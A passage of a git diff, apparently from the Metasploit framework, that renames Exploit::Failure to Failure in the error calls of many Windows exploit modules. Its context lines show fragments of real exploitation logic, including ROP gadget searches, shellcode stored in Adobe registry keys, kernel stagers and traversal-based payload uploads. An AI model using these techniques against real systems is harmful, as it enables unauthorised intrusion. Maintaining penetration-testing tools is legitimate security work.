fail_with(Exploit::Failure::Unknown, "Unable to find kernel32.dll") + fail_with(Failure::Unknown, "Unable to find kernel32.dll") end vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}") @@ -124,14 +124,14 @@ def collect_addresses virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc") @addresses['VirtualAlloc'] = virtual_alloc["return"] if @addresses['VirtualAlloc'] == 0 - fail_with(Exploit::Failure::Unknown, "Unable to find VirtualAlloc") + fail_with(Failure::Unknown, "Unable to find VirtualAlloc") end vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}") reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA") @addresses['RegGetValueA'] = reg_get_value["return"] if @addresses['RegGetValueA'] == 0 - fail_with(Exploit::Failure::Unknown, "Unable to find RegGetValueA") + fail_with(Failure::Unknown, "Unable to find RegGetValueA") end vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}") @@ -139,7 +139,7 @@ def collect_addresses ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll") @addresses['ntdll.dll'] = ntdll["return"] if @addresses['ntdll.dll'] == 0 - fail_with(Exploit::Failure::Unknown, "Unable to find ntdll.dll") + fail_with(Failure::Unknown, "Unable to find ntdll.dll") end vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}") end @@ -159,7 +159,7 @@ def search_gadgets @gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3") if @gadgets['mov [edi], ecx # ret'].nil? - fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'") + fail_with(Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'") end @gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll'] @gadgets['mov [edi], ecx # ret'] += ntdll_text_base @@ -170,7 +170,7 @@ def search_gadgets @gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3") if @gadgets['pop edi # ret'].nil? - fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop edi # ret'") + fail_with(Failure::Unknown, "Unable to find gadget 'pop edi # ret'") end @gadgets['pop edi # ret'] += @addresses['ntdll.dll'] @gadgets['pop edi # ret'] += ntdll_text_base @@ -178,7 +178,7 @@ def search_gadgets @gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3") if @gadgets['pop ecx # ret'].nil? - fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop ecx # ret'") + fail_with(Failure::Unknown, "Unable to find gadget 'pop ecx # ret'") end @gadgets['pop ecx # ret'] += @addresses['ntdll.dll'] @gadgets['pop ecx # ret'] += ntdll_text_base @@ -258,7 +258,7 @@ def store_data_registry(buf) if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode") vprint_good("Registry Key created") else - fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Key to store the shellcode") + fail_with(Failure::Unknown, "Failed to create the Registry Key to store the shellcode") end vprint_status("Storing the shellcode in the Registry...") @@ -266,7 +266,7 @@ def store_data_registry(buf) if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY") vprint_good("Shellcode stored") else - fail_with(Exploit::Failure::Unknown, "Failed to store shellcode in the Registry") + fail_with(Failure::Unknown, "Failed to store shellcode in the Registry") end # Create the Malicious registry entry in order to exploit.... @@ -274,14 +274,14 @@ def store_data_registry(buf) if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB") vprint_good("Registry Key created") else - fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow") + fail_with(Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow") end vprint_status("Storing the trigger in the Registry...") if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY") vprint_good("Trigger stored") else - fail_with(Exploit::Failure::Unknown, "Failed to store the trigger in the Registry") + fail_with(Failure::Unknown, "Failed to store the trigger in the Registry") end end @@ -299,7 +299,7 @@ def trigger_overflow # Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability! ret = client.railgun.kernel32.ResumeThread(hthread) if ret['return'] < 1 - fail_with(Exploit::Failure::Unknown, "Unable to ResumeThread") + fail_with(Failure::Unknown, "Unable to ResumeThread") end end @@ -324,18 +324,18 @@ def exploit acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe") @addresses['AcroRd32.exe'] = acrord32["return"] if @addresses['AcroRd32.exe'] == 0 - fail_with(Exploit::Failure::NoTarget, "AcroRd32.exe process not found") + fail_with(Failure::NoTarget, "AcroRd32.exe process not found") end vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}") print_status("Checking the AcroRd32.exe image...") if not check_trigger - fail_with(Exploit::Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target") + fail_with(Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target") end print_status("Checking the Process Integrity Level...") if not low_integrity_level? - fail_with(Exploit::Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level") + fail_with(Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level") end print_status("Collecting necessary addresses for exploit...") diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb index a0aade310e3ab..3515c1bb3f433 100644 --- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb +++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb @@ -125,7 +125,7 @@ def exploit # First of all check if the session is running on Low Integrity Level. # If it isn't doesn't worth continue print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? - fail_with(Exploit::Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level? + fail_with(Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level? # If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which # hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low @@ -207,7 +207,7 @@ def make_it(command) client.sys.process.kill(li_cmd_pid) - fail_with(Exploit::Failure::Unknown, "No Cmd Prompt spawned") unless spawned + fail_with(Failure::Unknown, "No Cmd Prompt spawned") unless spawned end print_status("Broadcasting payload command to prompt... I hope the user is asleep!") diff --git a/modules/exploits/windows/local/novell_client_nicm.rb b/modules/exploits/windows/local/novell_client_nicm.rb index ebcb2d55d9f8b..a4345647d059a 100644 --- a/modules/exploits/windows/local/novell_client_nicm.rb +++ b/modules/exploits/windows/local/novell_client_nicm.rb @@ -212,9 +212,9 @@ def exploit add_railgun_functions if sysinfo["Architecture"] =~ /wow64/i - fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported") + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ - fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported") + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end my_target = nil @@ -230,13 +230,13 @@ def exploit end if my_target.nil? - fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually") + fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually") end print_status("Checking device...") handle = open_device("\\\\.\\nicm") if handle.nil? - fail_with(Exploit::Failure::NoTarget, "\\\\.\\nicm device not found") + fail_with(Failure::NoTarget, "\\\\.\\nicm device not found") else print_good("\\\\.\\nicm found!") end @@ -249,7 +249,7 @@ def exploit if stager_address.nil? or stager_address == 0 session.railgun.kernel32.CloseHandle(handle) - fail_with(Exploit::Failure::Unknown, "Failed to allocate memory") + fail_with(Failure::Unknown, "Failed to allocate memory") end # eax => &kernel_stager @@ -278,7 +278,7 @@ def exploit if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory") + fail_with(Failure::Unknown, "Failed to write contents to memory") else vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}") end @@ -296,7 +296,7 @@ def exploit print_status("Checking privileges after exploitation...") if not is_system? - fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful") + fail_with(Failure::Unknown, "The exploitation wasn't successful") else print_good("Exploitation successful!") end @@ -306,7 +306,7 @@ def exploit if execute_shellcode(p) print_good("Enjoy") else - fail_with(Exploit::Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, "Error while executing the payload") end end diff --git a/modules/exploits/windows/local/novell_client_nwfs.rb b/modules/exploits/windows/local/novell_client_nwfs.rb index d1de1813280ef..58278e41acccd 100644 --- a/modules/exploits/windows/local/novell_client_nwfs.rb +++ b/modules/exploits/windows/local/novell_client_nwfs.rb @@ -268,9 +268,9 @@ def exploit add_railgun_functions if sysinfo["Architecture"] =~ /wow64/i - fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported") + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ - fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported") + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end my_target = nil @@ -287,13 +287,13 @@ def exploit end if my_target.nil? - fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually") + fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually") end print_status("Checking device...") handle = open_device("\\\\.\\nwfs") if handle.nil? - fail_with(Exploit::Failure::NoTarget, "\\\\.\\nwfs device not found") + fail_with(Failure::NoTarget, "\\\\.\\nwfs device not found") else print_good("\\\\.\\nwfs found!") end @@ -302,7 +302,7 @@ def exploit @addresses = disclose_addresses(my_target) if @addresses.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Exploit::Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.") + fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.") else print_good("Addresses successfully disclosed.") end @@ -315,7 +315,7 @@ def exploit result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Exploit::Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end @@ -329,7 +329,7 @@ def exploit result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Exploit::Failure::Unknown, "Error while storing trampoline on memory") + fail_with(Failure::Unknown, "Error while storing trampoline on memory") else print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}") end @@ -345,7 +345,7 @@ def exploit print_status("Checking privileges after exploitation...") if not is_system? - fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful") + fail_with(Failure::Unknown, "The exploitation wasn't successful") else print_good("Exploitation successful!") end @@ -355,7 +355,7 @@ def exploit if execute_shellcode(p) print_good("Enjoy") else - fail_with(Exploit::Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, "Error while executing the payload") end end diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index ef5e63cfc45a0..51ad10b089c0e 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -118,9 +118,9 @@ def check def exploit if sysinfo["Architecture"] =~ /wow64/i - fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported") + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ - fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported") + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end print_status("Creating a new process and migrating...") @@ -163,13 +163,13 @@ def exploit if is_system? print_good("Exploitation successful!") else - fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful but should be safe to try again") + fail_with(Failure::Unknown, "The exploitation wasn't successful but should be safe to try again") end if execute_shellcode(payload.encoded) print_good("Enjoy!") else - fail_with(Exploit::Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, "Error while executing the payload") end end diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 8afbd13418e7a..ccb028bd35221 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -67,13 +67,13 @@ def initialize(info={}) def exploit if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/) - fail_with(Exploit::Failure::NoTarget, "This module only works on Vista/2008 and above") + fail_with(Failure::NoTarget, "This module only works on Vista/2008 and above") end if datastore['TRIGGER'] == "event" if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil? print_status("The properties of any event in the event viewer will contain this information") - fail_with(Exploit::Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event") + fail_with(Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event") end end @@ -134,13 +134,13 @@ def upload_rexe(path, payload) vprint_status("Uploading #{path}") if file? path - fail_with(Exploit::Failure::Unknown, "File #{path} already exists... Exiting") + fail_with(Failure::Unknown, "File #{path} already exists... Exiting") end begin write_file(path, payload) rescue => e - fail_with(Exploit::Failure::Unknown, "Could not upload to #{path}") + fail_with(Failure::Unknown, "Could not upload to #{path}") end print_status("Successfully uploaded remote executable to #{path}") @@ -302,13 +302,13 @@ def create_trigger_event_tags(log, line, xml) def write_xml(xml, path, rexe_path) if file? path delete_file(rexe_path) - fail_with(Exploit::Failure::Unknown, "File #{path} already exists... Exiting") + fail_with(Failure::Unknown, "File #{path} already exists... Exiting") end begin write_file(path, xml) rescue delete_file(rexe_path) - fail_with(Exploit::Failure::Unknown, "Issues writing XML to #{path}") + fail_with(Failure::Unknown, "Issues writing XML to #{path}") end print_status("Successfully wrote XML file to #{path}") end @@ -361,7 +361,7 @@ def create_task(path, schname, rexe_path) delete_file(rexe_path) delete_file(path) error = "The scheduled task name is already in use" - fail_with(Exploit::Failure::Unknown, error) + fail_with(Failure::Unknown, error) else error = "Issues creating task using XML file schtasks" vprint_error("Error: #{create_task_response}") @@ -371,7 +371,7 @@ def create_task(path, schname, rexe_path) # Clean up delete_file(rexe_path) delete_file(path) - fail_with(Exploit::Failure::Unknown, error) + fail_with(Failure::Unknown, error) end end end diff --git a/modules/exploits/windows/lotus/lotusnotes_lzh.rb b/modules/exploits/windows/lotus/lotusnotes_lzh.rb index 574f73c334207..4406faecb4cd8 100644 --- a/modules/exploits/windows/lotus/lotusnotes_lzh.rb +++ b/modules/exploits/windows/lotus/lotusnotes_lzh.rb @@ -152,7 +152,7 @@ def exploit print_status("Waiting for a payload session (backgrounding)...") if not datastore['ExitOnSession'] and not job_id - fail_with(Exploit::Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)") + fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)") end stime = Time.now.to_f diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb index 769d2e22527c1..7341e12eac8d6 100644 --- a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -106,7 +106,7 @@ def exploit if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ print_error("#{peer} - Upload failed, check the DEPTH option") end - fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}") + fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}") end print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}") @@ -119,7 +119,7 @@ def exploit if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ print_error("#{peer} - Upload failed, check the DEPTH option") end - fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}") + fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}") end end diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb index f72d6c171d24c..5dc35187b2a02 100644 --- a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb +++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb @@ -150,12 +150,12 @@ def exploit sock.put(sch) res = sock.get_once if res.nil? - fail_with(Exploit::Failure::Unknown, "No response to the SCH request") + fail_with(Failure::Unknown, "No response to the SCH request") end if res=~ /scmderid: \{(.*)\}/ scmderid = $1 else - fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response") + fail_with(Failure::UnexpectedReply, "scmderid value not found in the SCH response") end dupf = "DUPF 16\n" diff --git a/modules/exploits/windows/misc/hp_omniinet_1.rb b/modules/exploits/windows/misc/hp_omniinet_1.rb index a2899447d4aed..82fdb65f521f5 100644 --- a/modules/exploits/windows/misc/hp_omniinet_1.rb +++ b/modules/exploits/windows/misc/hp_omniinet_1.rb @@ -142,7 +142,7 @@ def exploit disconnect if not resp - fail_with(Exploit::Failure::Unknown, "No version response returned.") + fail_with(Failure::Unknown, "No version response returned.") end resp = resp.unpack('v*').pack('C*') @@ -156,7 +156,7 @@ def exploit end if (not mytarget) - fail_with(Exploit::Failure::NoTarget, "No matching target") + fail_with(Failure::NoTarget, "No matching target") end print_status("Selected Target: #{mytarget.name}") diff --git a/modules/exploits/windows/misc/hp_omniinet_2.rb b/modules/exploits/windows/misc/hp_omniinet_2.rb index 42e9a95bc5e93..b8d3427854321 100644 --- a/modules/exploits/windows/misc/hp_omniinet_2.rb +++ b/modules/exploits/windows/misc/hp_omniinet_2.rb @@ -142,7 +142,7 @@ def exploit disconnect if not resp - fail_with(Exploit::Failure::Unknown, "No version response returned.") + fail_with(Failure::Unknown, "No version response returned.") end resp = resp.unpack('v*').pack('C*') @@ -156,7 +156,7 @@ def exploit end if (not mytarget) - fail_with(Exploit::Failure::NoTarget, "No matching target") + fail_with(Failure::NoTarget, "No matching target") end print_status("Selected Target: #{mytarget.name}") diff --git a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb index 32254e308601d..b258caa97e143 100644 --- a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb +++ b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb @@ -272,7 +272,7 @@ def check def exploit if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' - fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') + fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end super @@ -308,7 +308,7 @@ def primer if res and res.code == 200 and res.body =~ /CIMVERSION/ print_status"#{@peer} - Then injection seemed to work..." else - fail_with(Exploit::Failure::Unknown, "#{@peer} - Unexpected response") + fail_with(Failure::Unknown, "#{@peer} - Unexpected response") end end diff --git a/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb b/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb index 4b97aa83c5bbc..2903396c37757 100644 --- a/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb +++ b/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb @@ -145,7 +145,7 @@ def exploit def make_tcpmsghdr(data) len = data.length # The server doesn't like packets that are bigger... - fail_with(Exploit::Failure::BadConfig, 'Message length is too big') if (len > 0x1000) + fail_with(Failure::BadConfig, 'Message length is too big') if (len > 0x1000) len /= 8 # Pack the pieces in ... diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb index 4e140ecf6fc02..61873b7e5e7e2 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb @@ -282,7 +282,7 @@ def exploit print_status("Attempting automatic target detection...") version = mssql_query_version - fail_with(Exploit::Failure::NoAccess, "Unable to retrieve version information") if not version + fail_with(Failure::NoAccess, "Unable to retrieve version information") if not version if (version =~ /8\.00\.194/) mytarget = targets[1] @@ -303,7 +303,7 @@ def exploit end if mytarget.nil? - fail_with(Exploit::Failure::NoTarget, "Unable to determine target") + fail_with(Failure::NoTarget, "Unable to determine target") else print_status("Automatically detected target \"#{mytarget.name}\"") end @@ -380,7 +380,7 @@ def exploit # go! if (not mssql_login_datastore) - fail_with(Exploit::Failure::NoAccess, "Unable to log in!") + fail_with(Failure::NoAccess, "Unable to log in!") end begin mssql_query(runme, datastore['VERBOSE']) @@ -455,7 +455,7 @@ def mssql_query_version end if (not logged_in) - fail_with(Exploit::Failure::NoAccess, "Invalid SQL Server credentials") + fail_with(Failure::NoAccess, "Invalid SQL Server credentials") end res = mssql_query("select @@version", datastore['VERBOSE']) disconnect @@ -466,7 +466,7 @@ def mssql_query_version res[:errors].each do |err| errstr << err end - fail_with(Exploit::Failure::Unknown, errstr) + fail_with(Failure::Unknown, errstr) end if not res[:rows] or res[:rows].empty? diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb index 9b8533acd6de7..5e580fe877eda 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb @@ -284,7 +284,7 @@ def exploit print_status("Attempting automatic target detection...") version = mssql_query_version - fail_with(Exploit::Failure::NoAccess, "Unable to get version!") if not version + fail_with(Failure::NoAccess, "Unable to get version!") if not version if (version =~ /8\.00\.194/) mytarget = targets[1] @@ -305,7 +305,7 @@ def exploit end if mytarget.nil? - fail_with(Exploit::Failure::NoTarget, "Unable to automatically detect the target") + fail_with(Failure::NoTarget, "Unable to automatically detect the target") else print_status("Automatically detected target \"#{mytarget.name}\"") end diff --git a/modules/exploits/windows/novell/netiq_pum_eval.rb b/modules/exploits/windows/novell/netiq_pum_eval.rb index dd60d92ec2f64..1ee2ab88a72bd 100644 --- a/modules/exploits/windows/novell/netiq_pum_eval.rb +++ b/modules/exploits/windows/novell/netiq_pum_eval.rb @@ -167,7 +167,7 @@ def exploit }) if not res or res.code != 200 or res.body !~ /svc(.+)/ - fail_with(Exploit::Failure::Unknown, 'Fake Login failed, svc not identified') + fail_with(Failure::Unknown, 'Fake Login failed, svc not identified') end svc = $1 @@ -268,7 +268,7 @@ def exploit }) if res - fail_with(Exploit::Failure::Unknown, "There was an unexpected response to the code eval request") + fail_with(Failure::Unknown, "There was an unexpected response to the code eval request") else print_good("There wasn't a response, but this is the expected behavior...") end @@ -281,7 +281,7 @@ def exploit select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) - fail_with(Exploit::Failure::Unknown, "Target didn't request request the EXE payload -- Maybe it cant connect back to us?") + fail_with(Failure::Unknown, "Target didn't request request the EXE payload -- Maybe it cant connect back to us?") end end diff --git a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb index c5750e7c4129d..c09b7ec5384eb 100644 --- a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb +++ b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb @@ -158,7 +158,7 @@ def exploit print_status("Uploading the payload into the VBS to c:\\WINDOWS\\system32\\#{@var_vbs_name}.vbs...") res = upload_file(data) if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/) - fail_with(Exploit::Failure::Unknown, 'VBS upload failed') + fail_with(Failure::Unknown, 'VBS upload failed') end data = "sessionID=#{traversal}WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof\x00.xml" @@ -167,7 +167,7 @@ def exploit print_status("Uploading the mof file to c:\\WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof...") res = upload_file(data) if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/) - fail_with(Exploit::Failure::Unknown, 'MOF upload failed') + fail_with(Failure::Unknown, 'MOF upload failed') end end diff --git a/modules/exploits/windows/oracle/tns_auth_sesskey.rb b/modules/exploits/windows/oracle/tns_auth_sesskey.rb index eb3009f95c4f4..13b1265b7efe0 100644 --- a/modules/exploits/windows/oracle/tns_auth_sesskey.rb +++ b/modules/exploits/windows/oracle/tns_auth_sesskey.rb @@ -75,7 +75,7 @@ def initialize(info = {}) def check version = tns_version if (not version) - fail_with(Exploit::Failure::Unknown, "Unable to detect the Oracle version!") + fail_with(Failure::Unknown, "Unable to detect the Oracle version!") end print_status("Oracle version reply: " + version) return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/) @@ -92,7 +92,7 @@ def exploit version = tns_version if (not version) - fail_with(Exploit::Failure::NoTarget, "Unable to detect the Oracle version!") + fail_with(Failure::NoTarget, "Unable to detect the Oracle version!") end if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/) @@ -102,7 +102,7 @@ def exploit end if (not mytarget) - fail_with(Exploit::Failure::NoTarget, "Unable to automatically detect the target") + fail_with(Failure::NoTarget, "Unable to automatically detect the target") end print_status("Automatically detected target \"#{mytarget.name}\"") @@ -146,7 +146,7 @@ def exploit begin res = sock.get_once(-1, 1) rescue ::Errno::ECONNRESET, EOFError - fail_with(Exploit::Failure::Unknown, "OOPS, maybe the service hasn't started completely yet, try again...") + fail_with(Failure::Unknown, "OOPS, maybe the service hasn't started completely yet, try again...") end #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res)) @@ -231,7 +231,7 @@ def exploit # expecting disconnect... if (res = sock.get_once(-1, 1)) print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res)) - fail_with(Exploit::Failure::NoTarget, "Try to run the exploit again.. If that doesn't work, the target host may be patched :-/") + fail_with(Failure::NoTarget, "Try to run the exploit again.. If that doesn't work, the target host may be patched :-/") end handler diff --git a/modules/exploits/windows/smb/ms06_070_wkssvc.rb b/modules/exploits/windows/smb/ms06_070_wkssvc.rb index ab73292cf897d..361450fee9c2c 100644 --- a/modules/exploits/windows/smb/ms06_070_wkssvc.rb +++ b/modules/exploits/windows/smb/ms06_070_wkssvc.rb @@ -98,13 +98,13 @@ def exploit print_status("Detected a Windows XP SP0/SP1 target") rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e if (e.error_code == 0xc0000022) - fail_with(Exploit::Failure::Unknown, "Windows XP SP2 requires Administrator privileges!") + fail_with(Failure::Unknown, "Windows XP SP2 requires Administrator privileges!") end print_status("Detected a Windows XP target (unknown patch level)") end mytarget = targets[2] else - fail_with(Exploit::Failure::NoTarget, "No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...") + fail_with(Failure::NoTarget, "No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...") end else mytarget = target diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index 3723b72fc8673..e095bde6adbeb 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -830,7 +830,7 @@ def exploit # Bail early on unknown OS if(fprint['os'] == 'Unknown') - fail_with(Exploit::Failure::NoTarget, "No matching target") + fail_with(Failure::NoTarget, "No matching target") end # Windows 2000 is mostly universal @@ -885,7 +885,7 @@ def exploit end if(not mytarget) - fail_with(Exploit::Failure::NoTarget, "No matching target") + fail_with(Failure::NoTarget, "No matching target") end print_status("Selected Target: #{mytarget.name}") @@ -1222,7 +1222,7 @@ def generate_rop(version) rop.map! { |e| if e.kind_of? String # Meta-replace (RVA) - fail_with(Exploit::Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e] + fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e] module_base + rvas[e] elsif e == :unused diff --git a/modules/exploits/windows/smb/ms10_061_spoolss.rb b/modules/exploits/windows/smb/ms10_061_spoolss.rb index 42206d722a962..e323d0615b787 100644 --- a/modules/exploits/windows/smb/ms10_061_spoolss.rb +++ b/modules/exploits/windows/smb/ms10_061_spoolss.rb @@ -138,7 +138,7 @@ def exploit # Open the printer status,ph = open_printer_ex(pname) if status != 0 - fail_with(Exploit::Failure::Unknown, "Unable to open printer: #{Msf::WindowsError.description(status)}") + fail_with(Failure::Unknown, "Unable to open printer: #{Msf::WindowsError.description(status)}") end print_status("Printer handle: %s" % ph.unpack('H*')) @@ -157,7 +157,7 @@ def exploit # ClosePrinter status,ph = close_printer(ph) if status != 0 - fail_with(Exploit::Failure::Unknown, "Failed to close printer: #{Msf::WindowsError.description(status)}") + fail_with(Failure::Unknown, "Failed to close printer: #{Msf::WindowsError.description(status)}") end break if session_created? @@ -175,7 +175,7 @@ def exploit disconnect rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, Rex::ConnectionError - fail_with(Exploit::Failure::Unknown, $!.message) + fail_with(Failure::Unknown, 